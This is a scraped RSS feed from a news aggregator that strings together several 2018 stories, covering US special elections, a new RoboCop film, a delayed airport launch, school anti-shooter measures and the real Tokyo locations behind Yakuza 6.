  • Balderson and O’Connor will face each other again in the general election, November 6.

Trump-backed Republican Sen. Troy Balderson held a narrow lead over his Democratic challenger, Danny O’Connor in Tuesday night’s special election in Ohio’s 12th congressional district. With 100% of precincts reporting, Balderson led the race by nearly 1,800 ballots, in a deep-red district that Donald Trump won by 11 points in the 2016 presidential election.

Balderson is expected to take the House seat abandoned by Republican Rep. Pat Tiberi, who announced his resignation in October, midway through his term.

See the rest of the story at Business Insider

NOW WATCH: Meet the woman behind Trump’s $ 20 million merch empire

See Also:

]]> https://briefnews.eu/trump-backed-republican-troy-balderson-holds-narrow-special-election-lead-over-democratic-newcomer-danny-oconnor-in-deep-red-ohio-district-that-trump-dominated-in-2016/feed/ 0 ‘District 9’ director will helm new ‘RoboCop’ https://briefnews.eu/district-9-director-will-helm-new-robocop/ https://briefnews.eu/district-9-director-will-helm-new-robocop/#respond Thu, 12 Jul 2018 07:19:37 +0000 http://briefnews.eu/district-9-director-will-helm-new-robocop/

Neill Blomkamp, director of sci-fi hits District 9, Elysium and Chappie, will helm a new RoboCop film. MGM wants to revive the franchise with the appropriately-titled RoboCop Returns, which will apparently directly follow the 1987 original film — and ignore the 2014 reboot.

Returns will be based on an old spec script that the first film’s writers Ed Neumeier and Michael Miner wrote shortly after the original’s release. (They’re returning to produce and executive produce the new movie.) Due to the 1988 writer’s strike, that screenplay wasn’t used and the studio brought in a young Frank Miller of comics fame to craft a new one. But the delay also means the next RoboCop will be directed by someone who grew up with the original.

“What I connected to as a kid has evolved over time,” Blomkamp told Deadline. “At first, the consumerism, materialism and Reaganomics, that ’80s theme of America on steroids, came through most strongly. But As I’ve gotten older, the part that really resonated with me is identity, and the search for identity. As long as the human component is there, a good story can work in any time period, it’s not locked into a specific place in history.”

Unfortunately, it’s unclear if this will get in the way of Blomkamp’s supposed next feature, Firebase. The creator held a showcase on Twitch earlier this year to show off short films produced by his production house, Oats Studios, and raise funds from viewers for his forthcoming film.

Source: Deadline

]]> https://briefnews.eu/district-9-director-will-helm-new-robocop/feed/ 0 New ‘RoboCop’ Movie Coming from ‘District 9’ and ‘Chappie’ Director Neill Blomkamp https://briefnews.eu/new-robocop-movie-coming-from-district-9-and-chappie-director-neill-blomkamp/ https://briefnews.eu/new-robocop-movie-coming-from-district-9-and-chappie-director-neill-blomkamp/#respond Wed, 11 Jul 2018 18:24:16 +0000 http://briefnews.eu/new-robocop-movie-coming-from-district-9-and-chappie-director-neill-blomkamp/ robocop reboot

Neill Blomkamp could never get his Alien movie off the ground, so he’s latching onto another classic sci-fi franchise instead. The District 9 and Chappie director will helm a new RoboCop movie, titled RoboCop Returns. The film is said to be both a reboot and a sequel to the original franchise.

Deadline has the scoop on Blomkamp’s RoboCop reboot. Original RoboCop writers Ed Neumeier and Michael Miner are producing and executive producing. Justin Rhodes, who wrote the upcoming Terminator film, will re-write an older script from Neumeier and Miner. Neumeier actually teased the new film back in January, when he said: 

“There’s been a bunch of other RoboCop movies and there was recently a remake and I would say this would be kind of going back to the old RoboCop we all love and starting there and going forward. So it’s a continuation really of the first movie. In my mind. So it’s a little bit more of the old school thing.”

While it’s easy to call this a reboot, the new RoboCop is also going to serve as a sequel to Paul Verhoeven‘s original RoboCop. This is a similar approach to the upcoming Halloween film, which is both a reboot and a direct sequel. In RoboCop Returns, “anarchy reigns and the fate of Detroit hangs in the balance as RoboCop makes his triumphant return to fight crime and corruption.”

In the original film, Detroit cop Alex Murphy (Peter Weller) was brutally gunned down in the line of duty. Mega-corporation Omni Consumer Products then took Murphy’s corpse and rebuilt it with robotic components, turning Murphy into part man, part machine, all cop. It made for a wildly entertaining, shockingly violent, and highly satirical sci-fi classic.

“The original definitely had a massive effect on me as a kid,” Blomkamp said. “I loved it then and it remains a classic in the end of 20th Century sci-fi catalog, with real meaning under the surface. Hopefully that is something we can get closer to in making of a sequel. That is my goal here. What I connected to as a kid has evolved over time. At first, the consumerism, materialism and Reaganomics, that ’80s theme of America on steroids, came through most strongly. But As I’ve gotten older, the part that really resonated with me is identity, and the search for identity. As long as the human component is there, a good story can work in any time period, it’s not locked into a specific place in history. What’s so cool about RoboCop is that like good Westerns, sci-fi films and dramas, the human connection is really important to a story well told. What draws me now is someone searching for their lost identity, taken away at the hands of people who are benefiting from it, and seeing his memory jogged by events.”

While there were two sequels to Verhoeven’s RoboCop, neither was very good (although RoboCop 2 has its charms). There was also a 2014 RoboCop remake from director José Padilha. It was terrible, and misunderstood all the things that made the original RoboCop so iconic. And I fear that same thing will happen again here. While the involvement of original writers Ed Neumeier and Michael Miner is promising, it’s clear that what really made the original RoboCop so special was Verhoeven’s direction. Taking him out of the equation is bound to produce diminishing returns. 

Blomkamp started out as a promising filmmaker with District 9, but all his subsequent films have been lackluster. But perhaps RoboCop will revive his career. Blomkamp does have an interesting visual style, and he’s also not one to shy away from R-rated violence. If he can bring that aesthetic to this film, and if the script works, it might turn out okay.

The post New ‘RoboCop’ Movie Coming from ‘District 9’ and ‘Chappie’ Director Neill Blomkamp appeared first on /Film.

]]> https://briefnews.eu/new-robocop-movie-coming-from-district-9-and-chappie-director-neill-blomkamp/feed/ 0 Carlisle Lake District Airport inaugural flights DELAYED following shortage of staff https://briefnews.eu/carlisle-lake-district-airport-inaugural-flights-delayed-following-shortage-of-staff/ https://briefnews.eu/carlisle-lake-district-airport-inaugural-flights-delayed-following-shortage-of-staff/#respond Wed, 30 May 2018 03:54:00 +0000 http://briefnews.eu/carlisle-lake-district-airport-inaugural-flights-delayed-following-shortage-of-staff/

The announcement that flights from Carlisle Lake District Airport would connect the region to the rest of the UK pleased many people who lived in the local area.

Flights with Loganair were to fly to Dublin, Belfast, and London on June 4.

The inaugural flights have since been delayed due to a shortage of air traffic control staff.

Passengers who were booked on the flights will be offered refunds or alternative transport from Manchester or Glasgow.

The flights are hoping to commence on September 3.

Flights haven’t been available for commercial aircraft since 1993.

The new flights in 2018 will now miss the peak summer holiday period.

Kate Willard, Head of Corporate Projects for Stobart Group said in a statement that it was with “enormous regret” that the scheduled flights were delayed.

She explained: “This major project to launch air services from a new airport relies not only on the airport’s infrastructure being complete but also on a full complement of essential operational staff being in place.

“Regrettably, changing circumstances around staffing means that this cannot be completed in time for the airport to receive scheduled flights as planned on June 4, despite every possible human effort being made.

“We know just how much this airport means to the people of Cumbria, South Scotland and the wider North West region and remain fully and wholeheartedly committed to working with all of our partners towards the new September launch date.”

Loganair’s Managing Director Jonathan Hinkles added: “This is hugely disappointing for everyone, especially our customers.

“We remain fully committed to our partnership with Stobart Aviation to commence regular commercial services from Carlisle Lake District in September.

“We’re working hard to inform all passengers and we completely appreciate the frustration which disruption to travel plans can cause.

“We have taken the decision to delay to September to provide the greatest level of certainty that the new target date for the introduction of services will be met, allowing the travelling public to book with confidence.”

UK staycations are on the rise for British travellers, with the new flights hoped to help this further.

After the announcement of the new flights in March, Cumbria Tourism’s Managing Director hoped it would give the industry a boost.

She explained: “The new flights from Carlisle Lake District Airport will be a major boost for Cumbria’s connectivity and our £2.72 billion tourism industry.

“We welcomed 45 million visitors to the county last year, but a large proportion were day trippers to the Lakes.”

The Lake District became a UNESCO World Heritage Site last year after a 20-year campaign.

Let’s block ads! (Why?)

]]> https://briefnews.eu/carlisle-lake-district-airport-inaugural-flights-delayed-following-shortage-of-staff/feed/ 0 School district to arm teachers with mini baseball bats https://briefnews.eu/school-district-to-arm-teachers-with-mini-baseball-bats/ https://briefnews.eu/school-district-to-arm-teachers-with-mini-baseball-bats/#respond Thu, 12 Apr 2018 02:19:19 +0000 http://briefnews.eu/school-district-to-arm-teachers-with-mini-baseball-bats/ In the wake of America’s latest deadly school shooting, one district in Pennsylvania has come up with a novel way to ward off would-be killers by arming teachers with mini baseball bats.

The Millcreek School District in the northwest of the Keystone state has spent $ 1,800 to purchase the bats, according to local media reports. Some 500 teachers received their new weapons following a training day on how to respond to school shootings.

School Superintendent William Hall told Erie News Now that the bats were only to be used as a “last resort,” but added that “it is an option and something we want people to be aware of.”

Read more

Nikolas Cruz © Amy Beth Bennett / Global Look Press

“We passed them out, with the goal being we wanted every room to have one of these,” Hall said. “Unfortunately, we’re in a day and age where one might need to use them to protect ourselves and our kids.”

Many US schools have looked into ways of increasing safety in the wake of the Parkland, Florida, school shooting in February, but Pennsylvania school districts have been particularly innovative. Last month, the Blue Mountain School District in Schuylkill County announced that it would train teachers and students to pelt a classroom attacker with stones.  

READ MORE: Armed intruders may face being stoned to death at this Penn. school

“If an armed intruder attempts to gain entrance to any of our classrooms, they will face a classroom full of students armed with rocks. And they will be stoned,” Superintendent David Helsel said.

Last weekend in Philadelphia, police arrested a 12-year-old boy who was walking down the street carrying a loaded AR-15 assault rifle, the same gun that 19-year-old Nicolas Cruz is accused of using to kill 17 people on February 14.

Bats and stones may break some bones, but bullets will most certainly kill you.

Let’s block ads! (Why?)

]]> https://briefnews.eu/school-district-to-arm-teachers-with-mini-baseball-bats/feed/ 0 A Pennsylvania school district gave each classroom a 5-gallon bucket of rocks for students to throw at potential shooters https://briefnews.eu/a-pennsylvania-school-district-gave-each-classroom-a-5-gallon-bucket-of-rocks-for-students-to-throw-at-potential-shooters/ https://briefnews.eu/a-pennsylvania-school-district-gave-each-classroom-a-5-gallon-bucket-of-rocks-for-students-to-throw-at-potential-shooters/#respond Fri, 23 Mar 2018 19:51:14 +0000 http://briefnews.eu/a-pennsylvania-school-district-gave-each-classroom-a-5-gallon-bucket-of-rocks-for-students-to-throw-at-potential-shooters/ classroom school studentsAssociated Press/Ted S. Warren

  • A Pennsylvania school district equipped each classroom with rocks in case of active shooters.
  • The superintendent said it’s meant to be a “last-ditch response to an armed intruder.”
  • Schools have been floating various school-safety measures in the wake of last month’s high-school shooting in Florida.

As school districts across the country debate the merits of arming teachers or installing metal detectors to prevent active shooters, one Pennsylvania district has apparently equipped each of its classrooms with five-gallon buckets of river stones, instead.

Blue Mountain School District superintendent David Helsel testified before the state’s House Education Committee on March 15 and informed lawmakers of his district’s solution to active shooters.

See the rest of the story at Business Insider

NOW WATCH: Here’s why the death penalty and longer prison sentences don’t really deter crime

See Also:

SEE ALSO: A teacher with police training accidentally fired his weapon in a classroom during a lesson on gun safety, injuring 3 students

DON’T MISS: Authorities just released surveillance video showing what happened outside the Florida high school during the shooting

]]> https://briefnews.eu/a-pennsylvania-school-district-gave-each-classroom-a-5-gallon-bucket-of-rocks-for-students-to-throw-at-potential-shooters/feed/ 0 ‘Yakuza 6’ makes Tokyo’s red-light district virtually real https://briefnews.eu/yakuza-6-makes-tokyos-red-light-district-virtually-real/ https://briefnews.eu/yakuza-6-makes-tokyos-red-light-district-virtually-real/#respond Thu, 15 Mar 2018 12:16:46 +0000 http://briefnews.eu/yakuza-6-makes-tokyos-red-light-district-virtually-real/

I’m a relatively late fan of Sega’s famed Yakuza franchise. It was the 2015 ‘prequel’, Yakuza 0 on the PS4, that got me hooked: it was the series’ first title to be localized in Chinese, which helped me understand its rich storyline on the humble beginnings of series protagonist, Kazuma Kiryu, and his strangely charming acquaintance, Goro Majima.

What also fascinated me about these open-world games was how most of it was based on Tokyo’s Kabukicho and Osaka’s Dotonbori, often with incredible attention to detail.

For Yakuza 6: The Song of Life due on April 17th, the game is once again set in the Kabukicho-like Kamurocho, with a second stage set in a part of Hiroshima. I’ve yet to make it to Hiroshima in real life, but during one of my recent trips to Tokyo, I decided to swing by Shinjuku to see how closely Sega’s realization stands up. With very real restaurants, hotels and attractions digitized in high-detail, it’s occasionally uncanny.

This neighbornood is pretty much where the main story line starts for each game in the series. The signage for this Kamurocho Tenkaichi Street shares a familiar design with the real one for Kabukicho Ichibangai in Shinjuku, Tokyo. Note the barrage of signs, lighting tiny windows and scattered traffic cones and bikes. The latter two might double as weapons, but Tokyo IRL has ’em everywhere too.

Here’s Kamurocho Tenkaichi Street (or Kabukicho Ichibangai) as viewed from the other side. You can see the same lamp post design in both worlds, and even spot the fictional Shokichi Camera electronics store across the road in the far end, which is actually a Labi — also an electronics chain — in real life. Even though Labi is missing out on this marketing opportunity, the Yakuza team still applied a similar design to the fake store logo, possibly just for giggles.

Don Quijote aka Donki is a well-known discount chain store in Japan, and it’s been featured in the Yakuza series since its first release (and it started selling the games as well since the second instalment). Think Pikachu onesies, rice cookers, bikes, headphones, matcha-flavored Kit-Kats and sex toys, all in one place. Part of the store layout here in the game was surprisingly similar to what I saw in real life, though the game only offers one floor to explore. The Yakuza series isn’t the only game franchise to replicate Tokyo in detail: Persona 5 somehow managed to recreate the chaos of Shibuya, train station and all, faithfully. It didn’t however, have the brand clout that Yakuza apparently wields.

Real Japanese eateries such as Sushi Zanmai and Cafe Pronto are dotted around the game as well, though you might not find them at the same locations in the real world. Kiryu can also get a membership at fitness chain, Rizap, in order to boost his various stats — and gets his own “before” and “after” montage in the process.

It’s also worth pointing out that you can buy items that exist in real life, mainly beverages (Suntory is also a long-time collaborator since the first release) and medicines. Kiryu even uses a Sony Xperia XZ, which is a nice upgrade from his old featurephone — at least he can take selfies now.

Another iconic brand dotted around the game is Karaoke Kan, which has been featured since Yakuza 3. Again, the similarity is very impressive, to say the least. You can actually walk in and play a karaoke-themed game to let Kiryu practise his deep voice.

The fictional Nakamichi Street also closely resembles the real Kabuki Central Road. You can see certain building design elements kept in the digital world.

Alas, Japanese convenience store FamilyMart didn’t participate in the tie-in, but the game still placed a fictional Poppo store in the same spot here at one end of Pink Street. Speaking of, Yakuza 6 is the first title in the series that lets you walk seamlessly into and out of stores and restaurants. Just try not to bring your fights into those establishments, they don’t like that. (Although there’s a special move that involves the shop assistant helping beat the thugs with a microwave — really.)

Yakuza 6’s Kamurocho has a fancy Kamuro Theater complex in the middle, which parrots Kabukicho’s Shinjuku Toho Building, a site most famous for its massive Godzilla head that roars and spits steam nine times a day. The inside, however, is less interesting than the real deal.

Here’s the side of Kamuro Theater / Shinjuku Toho Building facing Nakamichi Street / Kabuki Central Road. Again, note how the game has preserved some of the building designs plus signage layouts. The size and scale is spot-on.

The APA Hotel in the game is a tad bigger than the one in real life (which is right by VR Zone Shinjuku, by the way), but it’s otherwise an impressive copy that’s hard to miss.

Last but not least, here’s a snapshot of the fictional East Shichifuku Street, which features a near-identical outdoor car park with familiar-looking billboards promoting nearby… venues. Having had many strangers approaching me to solicit “business” there in the real world, I much prefer the quieter street in the game.

Thanks to the simultaneous Chinese launches in Hong Kong, where I’m based, I picked up Yakuza 6 well ahead of the Western launch, which is now penned for mid-April. That’s OK, because the localization is well worth the wait for such a story-heavy series; you definitely won’t want to skip the emotional cinematics — or the appearance of Beat Takeshi.

Mat Smith, the man who introduced me to Donki, also contributed to this article.

]]> https://briefnews.eu/yakuza-6-makes-tokyos-red-light-district-virtually-real/feed/ 0 Republicans are panicking after a Democrat just cleaned up in a deep-red district — and the results should ‘terrify’ them https://briefnews.eu/republicans-are-panicking-after-a-democrat-just-cleaned-up-in-a-deep-red-district-and-the-results-should-terrify-them/ https://briefnews.eu/republicans-are-panicking-after-a-democrat-just-cleaned-up-in-a-deep-red-district-and-the-results-should-terrify-them/#respond Wed, 14 Mar 2018 06:05:01 +0000 http://briefnews.eu/republicans-are-panicking-after-a-democrat-just-cleaned-up-in-a-deep-red-district-and-the-results-should-terrify-them/ Donald TrumpMark Wilson/Getty Images

  • Republicans are increasingly concerned about the 2018 landscape after Democrat Conor Lamb appeared to pull off an unlikely win in Pennsylvania’s 18th Congressional District.
  • The race was officially still too close to call, but Lamb declared victory over Republican Rick Saccone.
  • It came in a district where President Donald Trump won by about 20 points in 2016.
  • “No suburban district is safe and every candidate better be ready for the most difficult cycle of their career,” one Republican strategist close to the race told Business Insider.

Republicans are panicked after Democrat Conor Lamb closed in on a victory over Republican Rick Saccone in a Pennsylvania congressional district that went for President Donald Trump by 20 points in 2016.

That Lamb could perform so well in a district that overwhelmingly supported Trump and had sent a Republican to Congress without much contention for the better part of two decades signaled major challenges for the party as it seeks to maintain its congressional majorities in this year’s midterm elections.

See the rest of the story at Business Insider

NOW WATCH: Neo-Nazi groups let a journalist in their meetings and rallies — here’s what he saw

See Also:

SEE ALSO: AS CLOSE AS IT GETS: The nation’s most closely watched special election is coming down to the wire

]]> https://briefnews.eu/republicans-are-panicking-after-a-democrat-just-cleaned-up-in-a-deep-red-district-and-the-results-should-terrify-them/feed/ 0